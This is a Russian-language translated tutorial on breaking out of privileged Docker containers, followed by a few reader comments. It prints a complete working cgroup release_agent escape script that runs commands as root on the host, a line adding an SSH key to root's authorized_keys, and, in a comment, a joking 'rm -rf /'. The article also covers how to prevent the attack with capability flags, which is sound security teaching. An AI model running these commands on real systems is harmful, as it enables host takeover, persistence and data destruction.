Перевод статьи подготовлен в преддверии старта курса «Пентест. Практика тестирования на проникновение».
Привилегированные контейнеры Docker – это такие контейнеры, которые запускаются с флагом
Привилегированные контейнеры часто используются, когда для выполнения задач нужен прямой доступ к аппаратной составляющей. Однако привилегированные Docker-контейнеры могут позволить злоумышленникам захватить хост-систему. Сегодня мы посмотрим, как можно выйти из привилегированного контейнера.
Как можно определить, что мы находимся в привилегированном контейнере?
Как только вы определили, что находитесь в контейнере, нужно понять, является ли он привилегированным. Лучший способ сделать это – запустить команду, которой нужен флаг
Например, вы можете попробовать добавить
Если команда выполнится успешно, то можно сделать вывод, что контейнер имеет функционал
Так как же выйти за пределы привилегированного контейнера? Тут вам поможет следующий скрипт. Этот пример и проверка концепции были взяты из блога Trail of Bits. Чтобы углубиться в концепцию, прочтите исходную статью:
Эта проверка концепции использует функцию
После завершения последнего процесса в
Этот эксплойт запускает код через файл
Следующая включает функцию
Дальше в следующих нескольких строчках прописан путь к файлу
Затем можно начать писать в файл с командами. Этот скрипт выполнит команду
Наконец, инициируйте атаку, породив процесс, который сразу же завершится в cgroup, которую мы создали. Наш скрипт
Эту концепцию вы можете использовать для выполнения любых нужных вам команд в хост-системе. Например, вы можете использовать ее для записи вашего SSH-ключа в файл
Как можно предотвратить эту атаку? Вместо того, чтобы предоставлять контейнерам полный доступ к хост-системе, вы должны предоставить только те полномочия, которые им нужны.
Возможности Docker позволяют разработчикам выборочно дать разрешения контейнеру. Появляется возможность разбить разрешения, обычно упакованные в root
По умолчанию Docker забирает у контейнера все разрешения и требует их добавлять. Вы можете убрать или добавить разрешения с помощью флагов
Например, вместо предоставления контейнеру
По возможности избегайте запуска Docker-контейнеров с флагом
Узнать подробнее о курсе.
Привилегированные контейнеры Docker – это такие контейнеры, которые запускаются с флагом
--privileged
. В отличие от обычных контейнеров, эти контейнеры имеют root-доступ к машине-хосту.Привилегированные контейнеры часто используются, когда для выполнения задач нужен прямой доступ к аппаратной составляющей. Однако привилегированные Docker-контейнеры могут позволить злоумышленникам захватить хост-систему. Сегодня мы посмотрим, как можно выйти из привилегированного контейнера.
Поиск уязвимых контейнеров
Как можно определить, что мы находимся в привилегированном контейнере?
Как понять, что вы находитесь в контейнере?
Cgroups
расшифровывается как контрольные группы (control groups). Эта функция Linux изолирует использование ресурсов, и именно ей Docker пользуется для изоляции контейнеров. Сказать, находитесь ли вы в контейнере, вы можете, проверив контрольную группу процесса инициализации в /proc/1/cgroup
. Если вы не внутри контейнера, то контрольная группа будет /. Опять же, если вы в контейнере, то увидите вместо этого /docker/CONTAINER_ID
. Как узнать, является ли контейнер привилегированным?
Как только вы определили, что находитесь в контейнере, нужно понять, является ли он привилегированным. Лучший способ сделать это – запустить команду, которой нужен флаг
--privileged
, и посмотреть, сработает ли она.Например, вы можете попробовать добавить
dummy
интерфейс с помощью команды iproute2
. Эта команда требует доступ к NET_ADMIN
, которым контейнер обладает, если он привилегированный.$ ip link add dummy0 type dummy
Если команда выполнится успешно, то можно сделать вывод, что контейнер имеет функционал
NET_ADMIN
. А NET_ADMIN
в свою очередь является частью привилегированного набора функций, и контейнеры, у которых его нет, привилегированными не являются. Вы можете удалить связь dummy0
после этого теста, с помощью команды:ip link delete dummy0
Побег из контейнера
Так как же выйти за пределы привилегированного контейнера? Тут вам поможет следующий скрипт. Этот пример и проверка концепции были взяты из блога Trail of Bits. Чтобы углубиться в концепцию, прочтите исходную статью:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
Эта проверка концепции использует функцию
release_agent
из cgroup
.После завершения последнего процесса в
cgroup
, выполняется команда, которая удаляет прекратившие работу cgroups
. Эта команда указана в файле release_agent
и выполняется от имени root
на компьютере-хосте. По умолчанию функция отключена, а путь release_agent
– пуст.Этот эксплойт запускает код через файл
release_agent
. Нам нужно создать cgroup
, указать ее файл release_agent
и запустить release_agent
, убив все процессы в cgroup
. Первая строка в проверке гипотез создает новую группу:mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
Следующая включает функцию
release_agent
:echo 1 > /tmp/cgrp/x/notify_on_release
Дальше в следующих нескольких строчках прописан путь к файлу
release_agent
:host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
Затем можно начать писать в файл с командами. Этот скрипт выполнит команду
ps aux
и сохранит ее в файл /output
. Также нужно установить биты доступа для скрипта:echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
Наконец, инициируйте атаку, породив процесс, который сразу же завершится в cgroup, которую мы создали. Наш скрипт
release_agent
будет выполняться после завершения процесса. Теперь вы можете прочитать вывод ps aux
на хост-машине в файле /output
:sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
Эту концепцию вы можете использовать для выполнения любых нужных вам команд в хост-системе. Например, вы можете использовать ее для записи вашего SSH-ключа в файл
authorized_keys
root-пользователя:cat id_dsa.pub >> /root/.ssh/authorized_keys
Предотвращение атаки
Как можно предотвратить эту атаку? Вместо того, чтобы предоставлять контейнерам полный доступ к хост-системе, вы должны предоставить только те полномочия, которые им нужны.
Возможности Docker позволяют разработчикам выборочно дать разрешения контейнеру. Появляется возможность разбить разрешения, обычно упакованные в root
access
, на отдельные компоненты.По умолчанию Docker забирает у контейнера все разрешения и требует их добавлять. Вы можете убрать или добавить разрешения с помощью флагов
cap-drop
и cap-add
. --cap-drop=all
--cap-add=LIST_OF_CAPABILITIES
Например, вместо предоставления контейнеру
root access
, вы оставите ему NET_BIND_SERVICE
, если ему нужно соединяться с портом ниже 1024. Такой флаг даст контейнеру нужные разрешения:--cap-add NET_BIND_SERVICE
Заключение
По возможности избегайте запуска Docker-контейнеров с флагом
--privileged
. Привилегированные контейнеры могут дать злоумышленникам возможность выйти из контейнера и получить доступ к хост-системе. Вместо этого давайте контейнерам разрешение индивидуально с помощью флага --cap-add
. Еще почитать
- Возможности ядра Linux
- Безопасное использование Docker
- Лучшие практики безопасности для работы с привилегированными контейнерами
- Тактика Red Team: продвинутые методы мониторинга процессов в наступательных операциях
- Пентест. Практика тестирования на проникновение или «этичный хакинг». Новый курс от OTUS
Узнать подробнее о курсе.
mickvav
А можно все-таки найти какой-то более русский перевод для «proof of concept»?
AlexGluck
Да чё там делать
mickvav
Я не об этом.
rm -rf /
в духе свежих котиков будет достаточно ;)Я вот о чем — автор не стесняясь пишет:
Либо я отстал от жизни, либо «проверка концепции» в данном контексте — бездумная калька с английского «proof of concept» (в оригинале — PoC). Я проверил — оно конечно есть как термин, но какой-то уж очень редкий. Скрипт был бы более уместным тут.